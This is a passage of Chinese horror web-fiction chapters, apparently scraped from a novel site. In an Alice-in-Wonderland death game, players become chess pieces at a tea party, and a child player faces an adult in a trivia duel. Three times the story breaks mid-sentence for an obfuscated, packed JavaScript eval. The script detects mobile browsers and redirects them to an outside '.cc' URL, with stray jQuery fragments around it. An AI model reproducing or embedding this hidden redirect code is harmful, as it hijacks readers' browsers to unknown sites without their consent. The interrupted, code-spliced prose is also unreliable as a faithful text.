员工宿舍自带一间休息室,代替了厨房餐厅和客厅的功能,现在,余逸和方柚柚正窝在沙发上疯狂打游戏。 俩人打的还是对决游戏,余逸的操作明显比方柚柚好很多,方柚柚虽然脑子好使,但手速跟不上,不过好在她有帮手,白兔子坐在她怀里,帮她噼里啪啦地按手柄按钮,两人这才打得有来有回。 余逸小心瞅了眼他荨姐的脸色,估摸着对方没有真的生气,才放下心来继续打游戏。 “我紧张嘛!” 电视里传出噼噼啪啪的打斗音效,余逸甚至还抽空抓了抓乱蓬蓬的头发。 他晚上就要进入自己的升阶考核,虽然在场另外三个都说升阶考核不难,但他还是很焦虑,大佬玩家的不难,跟他这种普通玩家的不难肯定是两回事。 也说不定这就是他的最后一场游戏了呢,余逸悲观地想。 然后,他狠狠地撸了一把白兔子,白兔子瞪了他一眼,一个飞踢,用耳朵给了他一耳刮。 宿舍大门被扭开,一股饭香从门口传了过来。 “你回来啦!” 郝荨快步上前,她眼睛亮闪闪地迎上了霍格……手里的饭盒。 这饭菜可是来自山海市最有名的私房菜馆! 死贵!还经常排不到! 这次她可算是吃上了,郝荨满足地长舒一口气,然后,做了一件所有资本家都爱做的事——在饭桌上谈事。 “晚上要进本了,我们来复盘一下上场游戏吧。” “啊……”余逸抗议,但抗议被郝荨一票驳回。 她随便说了几句,接着,图穷匕见: “对了,霍格,你那时候突然失踪,到底是遇到了什么事?” 霍格动作一顿,想了想,回答道:“我遁入了那片虚无空间。” 他曾经说过,在离开迷雾游戏时出现过一次意外,他进入了一片没有时间、空间概念的领域,有的只是永恒的星辰,还有一些闪现的“记忆”碎片。 “又进去了?”郝荨不解,“游戏系统不是说没有bug吗?怎么会又进去。” 霍格摇摇头,埋头干饭。 他现在已经接受了自己“大号”被封,要重新升级的状态,或者说,他觉得小号可比大号有意思多了。 “但我记得,你当时不是通过安娃把乌神尸骨传递出来吗?” 郝荨再次开口,她出来后自己复盘过,自从霍格失踪,她还遇见过几次有点奇怪的事,比如那盏出现在自己床头的长明灯,又或者是突然断裂的树枝…还有一些她当时没有注意到,后来却怎么想怎么奇怪的地方,现在想想,这些应该都是霍格传递给她的信号。 霍格把嘴里的排骨咽下,他安静地点了点头:“那个空间跟之前有点不一样,在一些特殊时刻,我可以跟NPC产生连接,和他们短暂交流。” 郝荨疑惑,她刚想再问,手机忽然响了起来。 “我接个电话。” 说完,她便往门口走去。 霍格看着她的背影微微出神,他本来在那个领域里昏昏沉沉地漂浮着,眼前划过的片段有些见过,有些却很陌生,就像是过去、现在和未来的一些片段随意交织着,分裂,又重组。 他试着触碰,想要改变那些片段,却没有成功。 就在他准备放弃的时候,突然,一个场景朝他迎头撞来,他还没反应过来,就进入了那个……有点陌生的“乌鬼村”。 这场游戏里依然有郑哥三人,只是灵秀的团队少了一个费扬扬,而他们的团队也少了一个方柚柚,里头的“郝荨”跟他看起来都比现在要青涩许多,行为处事也要生疏许多,所以最后才…… 霍格垂下眼帘,不再去想。 他在里面的安娃身上获得了一枚乌神尸骨,也正是这枚尸骨,在这片虚空里开辟出一丝通道,让他见到了另一个世界的安娃。 郝荨接完电话回到桌边,见她表情有些奇怪,方柚柚歪了歪头问道:“你怎么了?” “抖猫平台的老板想邀请我入驻,我们聊了几句,他还说很看好迷雾乐园,可以帮我联系公司制作周边。” 方柚柚不解:“这不是好事吗?你怎么这副表情?” 郝荨微微蹙眉:“我觉得……这个老板的声音听起来有点耳熟。” “熟人?” 郝荨摇头:“算了,可能是我听错了,人一个大老板能坑我什么呢!吃饭吃饭……余逸!你是饭桶吗?!都被你吃光了!” 霍格放下吃得干干净净的碗,看了她的手机一眼。 这个世界没什么坑的——另一个世界可未必。 * 晚上到了,四人一兔安静地坐在沙发上等待,有一搭没一搭地聊着天。 突然,四周安静了下来,郝荨眼前一黑,几行花体字出现在空中: 【欢迎来到C级副……C…B……检测到有玩家携带特殊称号,副本升级。】 【欢迎玩家来到B级副本“疯狂爱丽丝”,我是本关卡的看守者,编号012。】 【爱丽丝小姐想出了一个绝妙的主意,可以同时满足她开茶话会的愿望,以及红心女王玩下棋游戏的要求,那就是——登登!棋子茶话会!】 【你们就是被爱丽丝选中的棋子们,感激吧!欢呼吧!】 郝荨视线缓缓下移,“爱丽丝”和“红心女王”这两个名字让她想到了一个童话故事,只是,这个童话元素往往出现在惊悚主题的游戏中…… 【游戏目标:逃离茶话会!】 她瞳孔一震,紧接着,脚下陡然一空,摔进了爱丽丝的兔子洞里。 不知道在黑暗里漂浮了多久,她的脚忽然碰到了什么东西,触感很软。 “嘿!人类,请礼貌一点,不要踩在我头上!” 郝荨吓了一跳,连忙道歉:“抱歉!” 这里伸手不见五指,郝荨根本看不到自己踩到了什么,她试着往旁边挪了两步,那个软绵绵的东西似乎有些不耐烦,很干脆地抖了抖身体,郝荨一下没站稳,摔了下去。 好在这个距离并不高,她也总算在踩在了坚硬的地面上。 一个女声忽然响起:“哈喽,有人吗?” “呃,我——” 响起的男声还没说话,就迅速被另一个女声打断:“闭嘴!” 过了一会儿,见没人理她,先前打招呼的女声再度开口: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15180179|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这场游戏的等级是B,我想,能进入B级游戏的大家肯定不是新人,那我就敞开天窗说亮话,虽然不知道为什么游戏还没开始,但游戏目标告诉我们,这场游戏是逃脱本,那么大家就不是敌人,是不是可以先互相介绍一下呢?” 她顿了顿,主动介绍自己:“我的代号是‘歌者’,通关过两场A级副本,如果大家相信我的话,我会尽最大可能带大家一起逃离这里。” 黑暗里传来了一声轻嗤,从声音方向判断,像是之前喊“闭嘴”的那个女人。 歌者有些尴尬,不过很快,就有几人响应了她,郝荨也跟着报了假名。 她数了数,大吃一惊,这场游戏竟然有足足十五个人! 郝荨心中一沉,迷雾游戏有个不成文的规则,同样级别的副本中,人数越多,就意味着死亡率也越高,这有点像游戏自带的动态平衡,它会将游戏的死亡率维持在一个稳定的区间里。 这条规则反过来也是成立的,当其他人的死亡率越高时……你的生存率也会随之上涨。 她试探着想要往队友身边走,忽然,她踢到了什么。 “你踢倒我了人类!” 郝荨蹲下身,摸索着找到这个骂骂咧咧的东西,触感有些粗糙,有头有脚的,应该是个毛线娃娃。 她在毛线娃娃疯狂叫喊的“非礼”声中,将她扶正,这下,她不敢再动,生怕遇到什么危险的东西。 场上找同伴的显然不止她一个,很快,一声高亢的尖叫声就刺破了所有人的耳膜。 “啊啊啊——” “宝宝!宝宝你怎么了?!” 是之前的那对男女,男的叫大吕,女人叫莉莉,自我介绍时两人还黏黏糊糊的,是对很恩爱的情侣。 “什么东西?呕……这什么,黏黏滑滑……呕!” 黑暗里,一切东西似乎都变得可怖起来。 莉莉不小心摔进了什么湿滑的东西里,那东西很大,她爬了几下,没爬起来,反倒被自己的想象吓了个够呛,声音都带上了哭腔。 “我来了宝宝!你别怕,我马上就到!” “嘘——别吵。” 中年女人朱姐掏了掏耳朵,想叫这俩人别吵了,谁知莉莉反倒叫得更加大声,她头疼地吸了口气,大声喊道:“别吵了!没听到有声音吗?!” 莉莉一下闭紧了嘴巴。 刚刚所有人的注意力都被这对情侣吸引,这下他们安静下来,大家立刻就注意到,在黑暗里,有另一个声音在慢慢响着。 一下、一下。 缓慢,又有规律。 郝荨眼睛微微睁大,她听出来了,那是……呼吸声。 他们头顶处的黑暗里,有个呼吸声! 场面一下陷入凝滞状态,几秒后,呼吸声忽然变得急促起来。 然后,天亮了。 刺目的白光猛地照射进来,所有人都忍不住闭上了眼。 很快,郝荨就明白自己猜错了,那黑暗不是什么屋顶,而是一颗漆黑无比的巨大眼珠。 眼珠的主人有着漂亮柔软的金色长发,穿着可爱的蓝色蓬蓬裙,腰间系着一个美丽的蝴蝶结。 多么可爱的一个小姑娘啊——如果她光滑的脸上不是只有一只眼睛的话。 113. 疯狂爱丽丝01 “刚刚……刚刚其实不是天黑,是她一直、一直贴在我们头顶看?” 一个玩家颤抖着声音说道,这显然有点超出她的承受范围,她脸色发白,摇摇欲坠。 这个开局显然没有人想到,所有人的脸色都有些泛白。 郝荨迅速打量了一番四周,他们正站在一面极为广阔的黑白棋盘上,一些格子里摆着食物,她回头看了一眼,刚刚落下时踩到的正好是一份莓果布丁。 霍格方柚柚和余逸三人四散在棋盘的不同格子里,距离很远,郝荨暂时压下了去寻找队友的心思。 忽然,棋盘猛地震动了几下,震耳欲聋的脚步声从棋盘后方传来。 “快点!快点!你们这些慢吞吞的家伙!” 众人唰的回过头,只见一群纸牌士兵乌泱泱朝这里冲来,然后又呼啦啦散开,将棋盘团团围住。 两个骑士互相交叠着趴在地上,另外一个骑士眼疾手快地往他们身上放了张软椅,然后,搀扶着一个穿着华丽礼服的大头娃娃坐了上去。 是红心女王! 女王用力挥舞手杖敲了敲棋盘,差点砸到余逸,他连忙打了个滚,翻到另一个格子里才勉强闪过。 “爱丽丝!别在那发呆了!日落之前,我必须要玩上游戏!否则,我就让你们所有人的脑袋搬家!” 爱丽丝仅有的那只“大眼睛”眨了眨:“不!我要开茶话会!” 红心女王不敢相信竟然有人敢忤逆她,她尖声大喊:“游戏!” “茶话会!” “游戏!!” “茶话——等等,我有一个绝妙的主意,不如……” 爱丽丝凑近棋盘,纯黑色的眼珠像是面镜子,将每个人都倒映在里头,郝荨心中一紧,天空被眼珠挡住,光线又暗了下去。 “我们一边玩游戏,一边开茶话会,怎么样?” 红心女王眼珠子转动,满意地挥了挥她的手杖:“阿哈!不愧是我们大家的爱丽丝!总算没有让我失望,快!快!我宣布!游戏开始!” 两人一唱一和,很快,就分别坐在了棋盘两端。 玩家们有些紧张,一时不知道是该看爱丽丝还是红心女王,其中一个中年男人面色铁青,他发现除了那个摔进蛋糕的女人外,其他人都站在空格子中,只有他,他的身旁摆着一个死状凄惨的鱼头,鱼眼睛泛着诡异的光……像是某个国家的代表菜系。 见没有人注意到自己,中年男人小碎步挪到了黑白格子的衔接处,然后,他快速向右侧迈了一步—— “啊啊啊!!!” 凄惨的叫声吸引了所有人的视线,郝荨记得这个男人,他有点秃顶,看起来四十多岁的模样,可现在,他的脸上像是被高温灼烧了似的,在短短几秒内快速变红,起了一头密密麻麻的水泡,他惨叫着在地上滚来滚去,痛不欲生。 “蠢货。” 郝荨扭头望去,是之前那对情侣中的女人,她不耐烦地擦着自己脸上的奶油,嘴角向下撇着。 “游戏已经开始了!”红心女王气呼呼大喊,“有人随意移动!犯规!给我砍掉他的头!!!” 纸牌士兵迅速移动起来,中年男人咬牙站起,赶在士兵赶到前迅速开口:“我第一次玩游戏,不知道规则,陛下!请宽恕我!” 红心女王瞥了他一眼,没有搭理。 “好了!”爱丽丝忽然开口,“我的茶话会少了客人可就没法开了!游戏人少也没意思呀!” “哼!”红心女王挥下手杖,“卫兵——!回来!” 中年男人松了口气,他迅速从背包里取出一瓶药剂,有些肉痛地一饮而尽。 这可是有价无市的治疗系道具,哪怕他身家颇丰也很难买到,没想到刚进游戏就用了一瓶。 这就是B级副本的恐怖之处吗? 他看了看周围的其他玩家,有看好戏的,有不屑一顾的,有冷漠的……只有一个年轻女人用关心的目光望着他,正是之前发声说要带大家通关的歌者。 爱丽丝趴在扶手上,居高临下地看着她的棋盘。 “那么,我们先来道开胃小菜。” 她想了想,伸手指向棋盘上摆放着的食物,兴奋道:“让我看看你们的运气,来吧,选择一样吃下,限时——十秒!” “什么?!” 余逸着急忙慌地看向周围,这棋盘比足球场还大,这么多格子,摆着食物的格子少说也有二十几个,别说选择了,就算是一一看完十秒也不够啊! “10!” 郝荨头脑快速转动,时间只有十秒,哪怕是经过体质加成,正常人也根本来不及从这头跑到那头,那么考核的一定不是速度,莫非真的是在考验他们的运气? “9!8!” 在她周围一共有三样食物,分别是莓果布丁,冒热气的茶,和一盘饼干。 “7!6!5!” 她快速排除了会说话的布丁,眼睛在茶和棒棒糖中转来转去。 热茶在爱丽丝的茶话会中是个特殊的食物,疯帽匠和他的伙伴三月兔很爱请人喝茶,三月兔还喜欢往茶里加奇怪的东西……这或许是个线索。 她下定决心便立马往茶水所在的格子跑去。 “4!3!2!” 可就在她要碰到茶杯的瞬间,眼睛忽然一花,再睁眼时,人已经出现在了三米开外。 朱姐快速端起茶杯喝了一口,才放下心来查看周围。 她可没少给自己女儿念童话书,爱丽丝又刚好是女儿最爱的童话,她都不知道自己念过多少遍,自然知道这杯茶的重要性。 只是对那个年轻女孩有点抱歉,她抬眼望去,只见那个女孩在最后一秒的紧要关头飞扑到一个手杖形状的棒棒糖上,用力啃了一口。 吃上了?那就好。 朱姐松了口气,她只是想赢,可没想害其他人。 “时间到——!” 爱丽丝从椅子上一跃而下,轻巧地跳到棋盘边:“你们都选好啦,不错不错。” 郝荨用力将糖果咬碎,眼神淡漠,朱姐忍不住移开视线,她有种对方咬的不是糖,而是自己脑袋的错觉。 “呀!你选择了姜饼人!我最喜欢姜饼人了!” 爱丽丝捏起余逸,她的皮肤很白,在阳光的照耀下甚至有些不正常的苍白,光滑的脸上长着一只硕大的黑大的眼睛,鼻子几乎看不见,乍一眼望去,仿佛脸上只有这只眼睛和尖尖细细的嘴巴。 余逸看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194108|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近在咫尺的嘴巴,身体僵硬,那张嘴一张一合,流出了可疑的晶莹液体。 就在他以为自己要命丧于此之时,爱丽丝突然抬手擦了擦口水,又把他放回了棋盘上。 “吸溜…你合格了!让我来看看其他棋子——” 见那只眼睛转向其他人,余逸才跟哮喘犯了似的猛吸一口气,吓死他了! 可下一秒,他就发现了不对。 这个手……怎么有点硬啊? 周围的陌生玩家也纷纷望了过来,余逸不自然地挠了挠脖子,一股喷香扑鼻的姜饼味窜入他的鼻腔—— 他的手变成了姜饼! 余逸:…… 怎么又是他的左手? 上个副本骨折,这个副本干脆连手指都没了,他看着自己圆圆的姜饼手掌,欲哭无泪。 不过他也没有难过太久,因为很快,其他人也紧随其后。 “嗯……蘑菇、兔子蛋糕、药水……” 随着爱丽丝手指一一点过,在场所有玩家都或多或少发生了变化,霍格“咻”一下变高,白兔子惊奇地拍了拍方柚柚的侧脸,在那里,长出了一双跟它一样的兔子耳朵,毛茸茸的耳朵垂下,看起来又乖又可爱。 歌者身形缩小,朱姐伸出手臂,她的皮肤变硬,也长出了长长的毛发,像是蜘蛛。 还有一个叫林木的,不知道是不是名字取得不好,整个鼻子都变成了木头。 郝荨感觉左眼一阵刺痛,她伸手摸去,摸到的不是眼珠,而是一颗塑料纽扣。 忽然,红心女王大声尖叫起来:“这不公平!!!” “我们的游戏有十五枚棋子!多了一颗!!!” 爱丽丝惊讶,她掰着指头数了数:“真的多了一个。” 红心女王斜眼看向士兵:“砍掉那个多余的!” 士兵:“是!” “等等,”爱丽丝抬手阻止,“我记得,你们当中……有一对恋人?” 被点名的情侣同时把心提了起来,有点后悔不该暴露他们认识。 爱丽丝双手合十:“既然是恋人,自然应该在一起啦!” 她伸出双手,同时把两人提了起来,左看看右看看,将两人背靠背合在了一起。 “好啦!他们现在——永远不能分开啦!” 两人的后背刚一接触就融在了一起,莉莉稍稍动了动,便感到一阵撕扯感,她忍不住发出一声痛呼。 “宝宝!宝宝别动,别怕,老公在这呢!老公会保护你的!” “呜呜……”莉莉又气又悔。 这个见鬼的爱丽丝是不是嫉妒她有男朋友,才故意整他们?! 爱丽丝弯起唇角,将两人放了回去。 红心女王撅起嘴巴:“好吧,现在公平了。” 郝荨心里一沉,这场茶话会才刚刚开始,都还没搞清楚要做什么,玩家们的战斗力就统一被砍了一刀,这样下去,要怎么才能“逃离茶话会”呢? 忽然,一阵轻巧的快速奔跑声从棋盘角落传来,郝荨回头一瞧,是只头顶时钟的兔子。 兔子一手提着一个黑色塑料袋,袋子鼓鼓囊囊,不知道塞了什么东西: “没有时间了!没有时间了!!!” 114. 疯狂爱丽丝02 “没有时间了!” 兔子仿佛没有看到棋盘上有人一样自顾自地跑到棋盘中心,它放下手中沉甸甸的塑料袋,毛茸茸的兔手按住时钟,然后,猛地往上一提—— 时钟连带着它的兔头一起被拔了下来! 郝荨倒吸一口冷气,只见兔子装模作样的把钟放在“面前”看了看,接着它一下跃起,浑身的毛都炸了起来: “来不及了!” 兔子将头往脖子上一放,连放反了都不知道,接着提起塑料袋就跑:“没有时间了!” 再一眨眼的功夫,它就冲到了棋盘另一头的角落里,直直跳进了那个格子,直到身形被完全吞没。 “砰!” 爱丽丝一拳打在棋盘上,地动山摇。 “讨厌的兔子!”她咬牙切齿道,“下一轮游戏开始!” “咳咳。”红心女王轻轻用手杖敲了敲棋盘,“注意听,爱丽丝要宣布规则了!” “我们的游戏很简单,这面棋盘一共有64个格子,32个白,32个黑,很显然,一部分格子里放着我亲手制作的小甜点,另一部分则隐藏着红心女王的小游戏,当然,运气不好的话,你们也可能踩到空格子。” “你们刚刚已经为自己选择了棋子身份,每一轮,棋子都必须按照规则行走一步,选中我的小甜品的,就是我的客人,客人当然要心怀感激地吃下食物,而选中游戏的,就去陛下那里玩游戏。” 她话音刚落,所有人都摇身一变,换上了棋子的装束。 郝荨眉头紧锁,她对国际象棋了解不多,只粗粗知道个大概,比如小兵只能向前移动不能后退,还有马走“日”,象走斜线之类的,她身上这套……很明显是小兵的装扮。 至于她的三个队友,余逸正在摸他身下的“马”,霍格似乎是“车”,而方柚柚…郝荨有些吃惊,方柚柚此刻正坐在边缘的王座上,她是“王”。 值得一提的是,抢走她茶水格的朱姐身上穿着的正是“后”的服装。 歌者开口:“请问,我们要如何才能结束游戏呢?” “哦?” 爱丽丝眯起眼看向这枚胆大包天的“象”:“来参加我的茶话会…你很不情愿吗?这么急着离开?” “你误会我了,爱丽丝大人。” 面对爱丽丝的质疑,歌者面色镇定:“只是游戏总该有个输赢,我们要如何才能赢下这场游戏呢?” 爱丽丝轻哼,她转身坐回座椅,漂亮的金色长发在拂过棋盘,差点把大家抽飞。 红心女王兴奋地挥了一下手杖:“当然是你们踩完所有格子——” 爱丽丝:“或者日落时间到。” 郝荨注意到,她提到“日落”这个词的时候,神色变得恹恹的,有些打不起精神。 可现在天空还是湛蓝一片,看不出丝毫要天黑的迹象。 红心女王激动大喊:“开始开始!别愣着,我的卫兵们已经迫不及待想跟棋子打球了!” 她的手杖瞬间伸长,就想把人捅进她看中的格子里。 被她盯住的那个中年男人心道不好,真是倒霉到家了! 他的身份也是小兵,小兵作为最弱势的棋子,初次行动,他只能在自己正前方两格内做选择,更倒霉的是,这两格棋盘都没有甜点! 也就意味着,如果他向前走,有很大几率会进入红心女王的游戏! 他一时有些踌躇不定,是走一格?还是两格? 手杖重重敲在他的背上,中年男人狠狠骂了句脏话。 这哪里是在下国际象棋,这明明就是在玩躲避球! “快跑啊!哈哈哈哈哈快躲开!”爱丽丝的笑声很刺耳,她欢呼着,“小心不要犯规哦!哈哈哈哈哈哈哈!” 场上顿时一片混乱,中年男人躲闪不及,被手杖重重挑飞——不好! 他急忙在空中转体,这才将将落入了第二格中。 红心女王:“阿哈!游戏!” “哎呀,”爱丽丝做作地捂住嘴巴,“你们都选好啦!” 她的视线在棋盘上一扫而过,每个人都选择了一个新的格子站入,很显然,大家都对未知的游戏心存警惕,只要有的选,几乎所有人都选择了甜品格。 爱丽丝嘴角咧开,露出了一个让人看了就不大舒服的笑。 郝荨微微皱眉,是她的错觉吗? 怎么觉得……她这个笑,像是得逞的笑意? “那么,就只有你玩游戏啦,让我看看,这个格子是什么游戏……” 在红心女王的示意下,纸牌士兵们纷纷挥舞起武器,齐声大喊:“槌球!槌球!槌球!” “啊哦——”爱丽丝拖长了音,可惜道,“是趣味问答!” 红心女王迅速变脸,她翻了个白眼,兴致缺缺道:“开始吧。” 所有人眼睛一花,身处的场景忽然变了,变成了一个巨大的室内录影棚,中年男人焦躁不安地坐在舞台一端,另一端空着,一个穿西装打领带的毛毛虫迈着慢悠悠的步伐走了上来。 它叼着水烟斗吐了个烟圈,语气傲慢:“第1865届趣味问答现在开——” 毛毛虫先生忽然愣了一下,它看了看舞台的左右两端,又望向坐在观众台的玩家们,最后看向二楼贵宾席的爱丽丝和红心女王。 “我们只有一个参赛者吗?” 红心女王本来有些不耐烦,听到这话,她先是一怔,然后迅速激动起来:“对了!这场游戏需要两个棋子才能玩,让我看看选谁好呢?” 余逸条件反射般低下头,动作熟练。 他小声吐槽:“这算什么公平游戏!我们又没踩到游戏格,东西都吃了,现在还要从我们中选人进游戏,太过分了吧!” 郝荨趁人不注意,用力拽了一下他的袖子,示意他别说了,没看爱丽丝的眼珠都转过来了。 “嗯……选谁好呢?”红心女王的视线快速在每个人的脸上划过,“选…嗯……” 她有些犯难,就在这时,舞台上突然传来一个声音: “女王陛下,我能自己选对手吗?” “嗯?” 红心女王回过头,只见那个中年男人擦了擦头上的汗,故作镇静。 她想了想,慷慨地同意了这枚棋子的小小请求。 中年男人名叫包自强,早年赶上风口大赚一笔,说出去也算是个有点身家的企业家,之前他都是找人带自己过本,不过包自强认为,他也不比那些带老板的玩家差上多少。 这次运气不大好,之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203537|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前带过他几次的玩家没能从上个副本出来,时间紧急,他只好氪金买下了市场上能买到的所有治愈道具自己进本,只是没想到,刚进就遇到个B级本。 包自强有些后悔不该逞强,不过他也算是经过大风大浪的,什么没经历过,玩儿个小游戏罢了。 他快速打量了一番观众席上的玩家,这是个问答游戏,两个玩家没有坐在一起而是分在舞台两侧,就说明这是不是个合作游戏,那么那几个一看就很聪明的玩家就得首先排除,以防万一,看起来很能打的几个也得排了。 还剩下的,就只有一个大姐,一个看起来有点愚蠢的男大学生,和一个还玩儿兔子的小学生。 “选好了吗?”红心女王等得不耐烦,催促道,“快!快!时间!” “好了好了!”包自强应声,“我选——” 那个大姐还是算了,这个年纪的女人难搞的很,至于男大学生和小学生…… 看到他的视线落点,郝荨心里有了不妙的预感。 “我选——她!” 他抬手一指,指向的位置只坐着一个小女孩,她在一群成年人的包围里显得分外矮小,不知道是不是被吓到了,眼神显得有些呆滞,就连她怀里的兔子玩偶看起来都要比她精神得多。 方柚柚被兔子推了一下,她眨了眨眼回过神来。 他选的……我? 郝荨动作一顿,默默收回了要拽开余逸的手。 “哇!我还以为他会点我呢!”余逸长舒一口气,上一次这么紧张,还是期末抽考老师点名呢。 看到对方自信的神情,郝荨忍不住为他默哀片刻,这人眼光可真好,在场有十五位玩家,他偏偏就选中了方柚柚。 “咚,咚……” 观众席的台阶几乎有小半人高,方柚柚得蹦跶着往下跳,看起来愈发瘦小可怜。 朱姐想起了自己女儿,也不知道这么小的小孩是怎么进到B级本的,听说有些玩家会骗人进本垫死亡率…就是不知道是哪个玩家心这么坏,还骗小孩。 她转过头去,不忍再看。 方柚柚路过时,郝荨飞快在她耳边说了一句:“小心。” “嗯。” 方柚柚脚步丝毫未停,直直走到了舞台上。 “快点!快点!我等不及了!”红心女王激动的声音都颤抖起来。 看着这个还不及他胸口高的小孩,包自强无辜地摊了摊手:“你可别怪我啊,谁叫游戏规则是这样的呢。” 方柚柚回了他一个假笑,然后自顾自的观察了一番毛毛虫先生。 “好了,请参赛选手回到座位。” 毛毛虫先生吸了口水烟,慢条斯理开口:“趣味问答规则如下——本场问答一共有十道题目,参赛者需在自己的沙漏流光之前做出回答,回答正确者拿一分,十道题结束,总分最高者为胜利方。” 方柚柚和包自强跟前“噗”的一声出现了一篮一红两个沙漏,她好奇地转了转,可能是游戏还没开始的缘故,沙子纹丝不动。 听到规则,郝荨微不可察地皱了皱眉,方柚柚倒是面色不变,她摸了摸自己的长耳朵,打了个哈欠。 “那么,请听第一题——” ——“乌鸦为什么像写字台?” 115. 疯狂爱丽丝03 “第一题:乌鸦为什么像写字台?” 毛毛虫先生慢悠悠地吞云吐雾,就好像完全不在意他们答不答的上来一样。 这个问题一出,场上的两名参赛者齐齐愣住。 这是个什么问题? 乌鸦和写字台……哪里像了? 方柚柚拽了拽自己的兔子耳朵,毛茸茸的,手感很好,她忍不住又拽了拽。 “乌鸦像写字台”这句话来自童话里的疯帽匠,这并不是一个有标准答案的问题,那她该怎么回答呢? 眼见着时间一分一秒过去,方柚柚面前的蓝色沙漏只剩下浅浅一个底,她怀里的兔子玩偶眨了眨眼:“不回答吗?” 往常看着疯疯癫癫甚至看着不大聪明的白色兔子此刻眼神锐利,方柚柚摸了摸它的脑袋,被兔子玩偶一下躲过。 “没大没小。” “你只比我早出生三分钟而已。” 她望向对面抓耳挠腮的中年男人,冷静开口:“我有点好奇,回答错误…甚至干脆不回答会有什么惩罚?” 包自强没想到第一题就这么难! 他根本没有听说过这种稀奇古怪的问题! 他紧张地抹了把后颈,手心全是汗,可越是紧张他的注意力就越涣散,这个红色的沙漏造型精致奇巧,也不知道它怎么做到的,明明两端都开着口,却没有半点沙子流出。 包自强以前很喜欢红色,可现在却觉得这红色实在不大吉利,他看着这快速流下的沙子就好像他正在流失的生命,不能再等了! 他快速拍下抢答器,在他拍下的瞬间,沙漏定格。 “噢…有人答出来了,这可不多见。”毛毛虫先生不情不愿地放下水烟斗,“那么孩子,你的答案是——?” 心脏跳得很快,包自强又擦了擦脖子上的汗水。 没关系,他安慰自己,对面那个小孩也不知道答案,哪怕他答错了,对面也少了一个拿分的机会——等下! 包自强眼睛一亮,他好像明白这个游戏该怎么玩了! 趣味问答一共只有十道题,赢了得分,输了却不会扣分,那么哪怕他十道题都答错了,也不过就是跟对方平手而已! 所以他只要每道题都率先抢答,自己就可以立于不败之地! “我……我的答案是!他们都是黑色的!所以乌鸦像写字台!” 错误。 郝荨松了口气,这个玩家应该对童话不怎么了解,这一分他应该是拿不到了—— “回答正确!” 郝荨:…… 哈? 她迅速抬头,刚刚还色调明亮的舞台瞬间黯淡下去,光线昏黄,让人有些不适。 毛毛虫先生轻轻吐出烟圈,然后,烟圈裂成两半,一半化作了一个“1”字,飘到包自强身边,而另一半,则在众目睽睽之下变成了没有脸的高大女人。 女人没有五官,却架着一副老式的金边眼镜,衣衫破旧,头发梳得一丝不苟,教鞭在她手中挥舞得虎虎生风。 “这么简单的题目也能做错?!” 余逸猛地一缩脖子,他回想起了自己以前的教导主任。 “啊。” 方柚柚只来得及发出个简单的单音,就感觉自己被扼住了命运的后颈皮。 变大的白色兔子玩偶揪着她飞快后退,下一秒,只听“啪”一声巨响,他们原先在的位置已经被教鞭打成了废墟! 桌椅全部散架,只剩下那盏沙漏还完全的定格在空中。 爱丽丝瞬间呼吸急促,独眼闪过一丝红光,让人分不清究竟是厌恶还是兴奋: “好大的兔子玩偶……” “还——敢——躲——?”无脸女咬牙切齿,“我让你躲了吗?!” 她尖叫着朝方柚柚扑去,动作极快,但兔子也不是吃素的,它把方柚柚高高举起,放在舞台上方的架子上。 “别动。” 随后,它便和无脸女缠斗起来。 一人一兔打得不可开交,那女人手中的教鞭锋利极了,每次挥过都会斩断玩偶身上的白毛。 “还留这么长的头发!不可原谅!” “啪!” 鞭痕重重打在兔子身上,方柚柚脸色一白,她条件反射般就要往下跳,一面黑白棋盘陡然出现在她眼中。 四四方方的小格子,恰好囊括了白色兔子和无脸女……就像是做为他们量身定做的牢笼。 她正要伸手握上棋子,就听见毛毛虫清了清嗓子: “咳咳,惩罚时间到,下一题。” 无脸女就地消散,兔子玩偶将方柚柚从架子上接下,也不知道一只玩偶是怎么表现出严肃的,总之,这兔子板着脸,气呼呼地迈着脚步回到沙漏前: “不是让你别动了吗!” 方柚柚双手拽着垂下的长耳朵,把它们紧紧贴在脸颊上,试图不听她哥的碎碎念。 方步步闭上眼,深吸一口气,这熟悉的气人感觉,真是许久没有过了。 “下一题是什么呢?” 毛毛虫随手召出一本书,翻了几页:“嗯……下一题很简单,请听好。” “很久很久以前,红心女王的国土中坐落着一座很小很小的村庄——小太阳村,村庄里住着爱丽丝和她的朋友们,大家遵守着女王的规定,日出而作日入而息。” 聚光灯亮起,一栋由花朵装饰的漂亮房子缓缓降落在舞台中央,穿着蓝裙子的金发小玩偶快乐地跑进屋子,从窗户外看去,里面挤挤攘攘,似乎有许多人。 